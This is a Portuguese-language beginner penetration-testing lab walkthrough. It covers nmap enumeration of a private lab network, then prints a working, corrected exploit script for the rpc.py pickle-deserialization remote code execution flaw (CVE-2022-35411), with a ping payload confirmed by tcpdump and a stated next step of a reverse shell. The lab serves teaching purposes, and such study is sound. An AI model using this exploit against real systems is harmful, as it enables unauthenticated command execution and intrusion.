Primeiro LAB de exploração

Lab: 1 AD, 2 Linux, 1 máquina de ataque

Nível: Inicial

Vulnerabilidades:

- utfpd 2.8
- rpc.py
- Reuso de Passwords

Conceitos:

- Aprender a usar nmap
- Explorar os recursos de Nmap Scripts
- Pesquisar exploits
- Corrigir exploits
- Descobrir como usar exploits
- Exploração com dependência

Walkthrough

```
mkdir -p empresaX/{docs,escopo,enum,hosts,serviços}

cd empresaX

nmap -n 192.168.200.0/24 --exclude 192.168.200.1,192.168.200.40 -oG
escopo/pingsweep.txt

$ cat escopo/pingsweep.txt

$ cat escopo/pingsweep.txt | grep Up | cut -d " " -f2 > escopo/alvos.txt

$ cat escopo/alvos.txt
192.168.200.100
192.168.200.124
192.168.200.201

$ nmap -Pn -sC -sV -iL escopo/alvos.txt -oA serviços/padrao
```

```
$ nmap -Pn -sC -sV -p- -iL escopo/alvos.txt -oA serviços/full
```

Serviços

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 19:58 EST
Nmap scan report for 192.168.200.100
Host is up (0.00033s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-
01-10 01:00:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
(Domain: mtia.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
(Domain: mtia.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-01-10T01:02:01+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: MTIA
|   NetBIOS_Domain_Name: MTIA
|   NetBIOS_Computer_Name: ZEUS
|   DNS_Domain_Name: mtia.local
|   DNS_Computer_Name: zeus.mtia.local
|   DNS_Tree_Name: mtia.local
|   Product_Version: 10.0.17763
|_  System_Time: 2023-01-10T01:01:21+00:00
| ssl-cert: Subject: commonName=zeus.mtia.local
| Not valid before: 2023-01-08T23:55:26
|_Not valid after:  2023-07-10T23:55:26
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
```

```
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
51419/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: ZEUS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: ZEUS, NetBIOS user: <unknown>, NetBIOS MAC:
000c294c7982 (VMware)
| smb2-time:
|   date: 2023-01-10T01:01:22
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required

Nmap scan report for 192.168.200.124
Host is up (0.00054s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 5c9f467ce2076af7cc7287c2275f346d (RSA)
|   256 ea7069f95cfec50eb98935cb9198c4f1 (ECDSA)
|_  256 cf3665de814f2fe9715aafded23db628 (ED25519)
25/tcp    open  smtp     Postfix smtpd
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2022-11-28T15:34:28
|_Not valid after:  2032-11-25T15:34:28
|_ssl-date: TLS randomness does not represent time

|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
```

```
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      38108/udp   mountd
|   100005  1,2,3      41563/tcp6  mountd
|   100005  1,2,3      45760/udp6  mountd
|   100005  1,2,3      58713/tcp   mountd
|   100021  1,3,4      35237/tcp   nlockmgr
|   100021  1,3,4      45735/tcp6  nlockmgr
|   100021  1,3,4      51533/udp6  nlockmgr
|   100021  1,3,4      55922/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
35237/tcp open  nlockmgr 1-4 (RPC #100021)
48845/tcp open  mountd   1-3 (RPC #100005)
49437/tcp open  mountd   1-3 (RPC #100005)
58713/tcp open  mountd   1-3 (RPC #100005)
65432/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Kerberos,
RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     content-type: text/plain; charset=utf-8
|     Connection: close
|     Invalid HTTP request received.
|   GetRequest, HTTPOptions:
|     HTTP/1.1 405 Method Not Allowed

|     date: Tue, 10 Jan 2023 01:00:27 GMT
|     server: rpc.py
|     content-type: text/plain; charset=utf-8
|_    Connection: close
1 service unrecognized despite returning data. If you know the
```

```
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65432-TCP:V=7.93%I=7%D=1/9%Time=63BCB8AC%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(GetRequest,94,"HTTP/1\.1\x20405\x20Met
SF:hod\x20Not\x20Allowed\r\ndate:\x20Tue,\x2010\x20Jan\x202023\x2001:00:27
SF:\x20GMT\r\nserver:\x20rpc\.py\r\ncontent-type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,94,"HTTP/1\.1\x
SF:20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Tue,\x2010\x20Jan\x202023
SF:\x2001:00:27\x20GMT\r\nserver:\x20rpc\.py\r\ncontent-type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,76,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request
SF:\x20received\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatus
SF:RequestTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(Te
SF:rminalServerCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInva
SF:lid\x20HTTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\
SF:.")%r(Kerberos,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\
SF:x20HTTP\x20request\x20received\.")%r(SMBProgNeg,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.200.201

Host is up (0.00036s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
|_-rw-r--r-- 1     0     0          244 Jan  9 23:48 todo
| fingerprint-strings:
|   GenericLines, NULL, SMBProgNeg:
|     220 in.ftpd (2.8) ready.
|   Help:
|     220 in.ftpd (2.8) ready.
|     214-The following commands are recognized.
|     ABOR DELE USER PASS SYST TYPE PORT EPRT RETR MKD RMD REST MDTM PASV
|     EPSV QUIT LIST NLST MLST MLSD CLNT OPTS PWD STOR CWD CDUP SIZE NOOP
|     HELP FEAT
|     Help OK.
|   SSLSessionReq:
|     220 in.ftpd (2.8) ready.
|     command '
|_    recognized by server.
|_ftp-bounce: bounce working!
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 671ed2315035c55ebc026144505c07be (RSA)
|   256 27d07f5d13aa3f9f8a0847c2117128fe (ECDSA)
|_  256 bf277e9fd82d27c0d1551db749f6d4ac (ED25519)
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2022-11-28T15:34:28
|_Not valid after:  2032-11-25T15:34:28
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind

|_  100000  3,4          111/udp6  rpcbind
6521/tcp open  ftp
| fingerprint-strings:
|   GenericLines, NULL, SMBProgNeg:
|     220 uftpd (2.8) ready.
```

```
|   Help:
|     220 uftpd (2.8) ready.
|     214-The following commands are recognized.
|     ABOR DELE USER PASS SYST TYPE PORT EPRT RETR MKD RMD REST MDTM PASV
|     EPSV QUIT LIST NLST MLST MLSD CLNT OPTS PWD STOR CWD CDUP SIZE NOOP
|     HELP FEAT
|     Help OK.
|   SSLSessionReq:
|     220 uftpd (2.8) ready.
|     command '
|_    recognized by server.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1     0     0          244 Jan  9 23:48 todo
|_ftp-bounce: bounce working!
2 services unrecognized despite returning data. If you know the
service/version, please submit the following fingerprints at
https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port21-TCP:V=7.93%I=7%D=1/9%Time=63BCB8AC%P=x86_64-pc-linux-gnu%r(NULL,
SF:1A,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n")%r(GenericLines,1A,"220
SF:\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n")%r(Help,EC,"220\x20in\.ftpd\x2
SF:0\(2\.8\)\x20ready\.\r\n214-The\x20following\x20commands\x20are\x20reco
SF:gnized\.\r\n\x20ABOR\x20DELE\x20USER\x20PASS\x20SYST\x20TYPE\x20PORT\x2
SF:0EPRT\x20RETR\x20MKD\x20RMD\x20REST\x20MDTM\x20PASV\r\n\x20EPSV\x20QUIT
SF:\x20LIST\x20NLST\x20MLST\x20MLSD\x20CLNT\x20OPTS\x20PWD\x20STOR\x20CWD\
SF:x20CDUP\x20SIZE\x20NOOP\r\n\x20HELP\x20FEAT\r\n214\x20Help\x20OK\.\r\n"
SF:)%r(SSLSessionReq,46,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n500\x20
SF:command\x20'\x16\x03'\x20not\x20recognized\x20by\x20server\.\r\n")%r(SM
SF:BProgNeg,1A,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port6521-TCP:V=7.93%I=7%D=1/9%Time=63BCB8AC%P=x86_64-pc-linux-gnu%r(NUL
SF:L,18,"220\x20uftpd\x20\(2\.8\)\x20ready\.\r\n")%r(GenericLines,18,"220\
SF:x20uftpd\x20\(2\.8\)\x20ready\.\r\n")%r(Help,EA,"220\x20uftpd\x20\(2\.8
SF:\)\x20ready\.\r\n214-The\x20following\x20commands\x20are\x20recognized\
SF:.\r\n\x20ABOR\x20DELE\x20USER\x20PASS\x20SYST\x20TYPE\x20PORT\x20EPRT\x

SF:20RETR\x20MKD\x20RMD\x20REST\x20MDTM\x20PASV\r\n\x20EPSV\x20QUIT\x20LIS
SF:T\x20NLST\x20MLST\x20MLSD\x20CLNT\x20OPTS\x20PWD\x20STOR\x20CWD\x20CDUP
SF:\x20SIZE\x20NOOP\r\n\x20HELP\x20FEAT\r\n214\x20Help\x20OK\.\r\n")%r(SSL
SF:SessionReq,44,"220\x20uftpd\x20\(2\.8\)\x20ready\.\r\n500\x20command\x2
SF:0'\x16\x03'\x20not\x20recognized\x20by\x20server\.\r\n")%r(SMBProgNeg,1
```

```
SF:8,"220\x20uftpd\x20\(2\.8\)\x20ready\.\r\n");
Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 212.73 seconds
```

192.168.200.124

Nmap

```
Nmap scan report for 192.168.200.124
Host is up (0.00054s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 5c9f467ce2076af7cc7287c2275f346d (RSA)
|   256 ea7069f95cfec50eb98935cb9198c4f1 (ECDSA)
|_  256 cf3665de814f2fe9715aafded23db628 (ED25519)
25/tcp    open  smtp     Postfix smtpd
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2022-11-28T15:34:28
|_Not valid after:  2032-11-25T15:34:28
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      38108/udp   mountd
|   100005  1,2,3      41563/tcp6  mountd
|   100005  1,2,3      45760/udp6  mountd
|   100005  1,2,3      58713/tcp   mountd
```

```
|   100021  1,3,4      35237/tcp   nlockmgr
|   100021  1,3,4      45735/tcp6  nlockmgr
|   100021  1,3,4      51533/udp6  nlockmgr
|   100021  1,3,4      55922/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
35237/tcp open  nlockmgr 1-4 (RPC #100021)
48845/tcp open  mountd   1-3 (RPC #100005)
49437/tcp open  mountd   1-3 (RPC #100005)
58713/tcp open  mountd   1-3 (RPC #100005)
65432/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Kerberos,
RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     content-type: text/plain; charset=utf-8
|     Connection: close
|     Invalid HTTP request received.
|   GetRequest, HTTPOptions:
|     HTTP/1.1 405 Method Not Allowed
|     date: Tue, 10 Jan 2023 01:00:27 GMT
|     server: rpc.py
|     content-type: text/plain; charset=utf-8
|_    Connection: close
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65432-TCP:V=7.93%I=7%D=1/9%Time=63BCB8AC%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(GetRequest,94,"HTTP/1\.1\x20405\x20Met
SF:hod\x20Not\x20Allowed\r\ndate:\x20Tue,\x2010\x20Jan\x202023\x2001:00:27
SF:\x20GMT\r\nserver:\x20rpc\.py\r\ncontent-type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,94,"HTTP/1\.1\x
SF:20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Tue,\x2010\x20Jan\x202023
SF:\x2001:00:27\x20GMT\r\nserver:\x20rpc\.py\r\ncontent-type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,76,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request
SF:\x20received\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatus
SF:RequestTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
```

```
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(Te
SF:rminalServerCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInva
SF:lid\x20HTTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\
SF:.")%r(Kerberos,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\
SF:x20HTTP\x20request\x20received\.")%r(SMBProgNeg,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

NSE smtp porta 25

```
$ nmap --script smtp-* -p 25 -sV -oA 192.168.200.124_smtp 192.168.200.124
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-04 18:39 EST
Nmap scan report for 192.168.200.124
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
| smtp-enum-users:
|_  Method RCPT returned a unhandled status code.
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed
Service Info: Host:  debian

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.56 seconds
```

NSE nfs

```
$ nmap -sV -p 111 --script=rpcinfo,nfs-* -sV -oA 192.168.200.124_nfs
192.168.200.124
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-04 18:42 EST
Nmap scan report for 192.168.200.124
Host is up (0.00038s latency).

PORT    STATE SERVICE VERSION
111/tcp open  rpcbind 2-4 (RPC #100000)
|_nfs-showmount: No NFS mounts available
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34407/tcp   mountd
|   100005  1,2,3      35837/udp6  mountd
|   100005  1,2,3      50371/tcp6  mountd
|   100005  1,2,3      53165/udp   mountd
|   100021  1,3,4      39949/tcp   nlockmgr
|   100021  1,3,4      42269/tcp6  nlockmgr
|   100021  1,3,4      47723/udp6  nlockmgr
|   100021  1,3,4      53909/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.22 seconds
```

Porta 65432

Nessa porta tem um serviço rodando, porém o nmap não conseguiu identificar qual a aplicação que está rodando.

Pela saída do nmap parece um serviço web, portanto vamos rodar os scripts NSE referentes a HTTP

```
$ nmap -sV -p 65432 --script=http-* -sV -oA 192.168.200.124_65432
192.168.200.124
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-04 18:45 EST
Pre-scan script results:
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's
API. See https://www.robtex.com/api/
Nmap scan report for 192.168.200.124
Host is up (0.00041s latency).

PORT      STATE SERVICE VERSION
65432/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Kerberos,
RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     content-type: text/plain; charset=utf-8
|     Connection: close
|     Invalid HTTP request received.
|   GetRequest, HTTPOptions:
|     HTTP/1.1 405 Method Not Allowed
|     date: Wed, 04 Jan 2023 23:45:55 GMT
|     server: rpc.py
|     content-type: text/plain; charset=utf-8
|_    Connection: close
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65432-TCP:V=7.93%I=7%D=1/4%Time=63B60FB4%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(GetRequest,94,"HTTP/1\.1\x20405\x20Met
SF:hod\x20Not\x20Allowed\r\ndate:\x20Wed,\x2004\x20Jan\x202023\x2023:45:55
SF:\x20GMT\r\nserver:\x20rpc\.py\r\ncontent-type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,94,"HTTP/1\.1\x
SF:20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Wed,\x2004\x20Jan\x202023
SF:\x2023:45:55\x20GMT\r\nserver:\x20rpc\.py\r\ncontent-type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,76,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20
```

```
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request
SF:\x20received\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatus
SF:RequestTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(Te
SF:rminalServerCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInva
SF:lid\x20HTTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\
SF:.")%r(Kerberos,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\
SF:x20HTTP\x20request\x20received\.")%r(SMBProgNeg,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.98 seconds
```

Os scripts não tiveram sucesso, ou seja não encontraram a aplicação que está rodando na porta 65432.

Mas, tem um dado interessante o Header Server trouxe o valor **server: rpc.py**

Ao pesquisar no google: rpc.py exploit

Exploração

Encontramos algo promissor :)

Porém, o exploit precisa de umas correções, conforme destacado no print basta remover a string "3D"

Além disso na linha 16 é necessário colocar o IP do host e na linha 47 escrever o nosso payload

Nesse exemplo vamos executar um ping e monitorar via TCPdump. Desta, forma iremos confirmar se o comando foi executado no alvo

Colocar no vim → :%s/3D//g

Versão final do exploit

```
# Exploit Title: rpc.py 0.6.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2022-07-12
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/abersheeran
# Software Link: https://github.com/abersheeran/rpc.py
# Version: v0.4.2 - v0.6.0
# Tested on: Debian 11, Ubuntu 20.04
# CVE : CVE-2022-35411

import requests
import pickle

# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py

HOST = "192.168.200.124:65432"

URL = f"http://{HOST}/sayhi"

HEADERS = {
    "serializer": "pickle"
}

def generate_payload(cmd):

    class PickleRce(object):
        def __reduce__(self):
            import os
            return os.system, (cmd,)

    payload = pickle.dumps(PickleRce())

    print(payload)

    return payload


def exec_command(cmd):
```

```
    payload = generate_payload(cmd)

    requests.post(url=URL, data=payload, headers=HEADERS)


def main():
    exec_command('ping 192.168.200.140 -c 3')
    # exec_command('uname -a')


if __name__ == "__main__":
    main()
```

```
$ python 50983
b'\x80\x04\x953\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x
94\x93\x94\x8c\x18ping 192.168.200.140 -c 3\x94\x85\x94R\x94.'
```

Resultado do ping

```
$ sudo tcpdump -p icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
19:01:46.873288 IP 192.168.200.124 > 192.168.200.140: ICMP echo request, id
52818, seq 1, length 64
19:01:46.873323 IP 192.168.200.140 > 192.168.200.124: ICMP echo reply, id
52818, seq 1, length 64
19:01:47.874909 IP 192.168.200.124 > 192.168.200.140: ICMP echo request, id
52818, seq 2, length 64
19:01:47.874940 IP 192.168.200.140 > 192.168.200.124: ICMP echo reply, id
52818, seq 2, length 64
19:01:48.898817 IP 192.168.200.124 > 192.168.200.140: ICMP echo request, id
52818, seq 3, length 64
19:01:48.898847 IP 192.168.200.140 > 192.168.200.124: ICMP echo reply, id
52818, seq 3, length 64
```

Essa vulnerabilidade é um tipo de vulnerabilidade conhecida como Deserialization, o que resulta num Blind OS Command Injection

Portanto vamos injetar um shell reverso. Um bom lugar para pegar shells reversos é no site

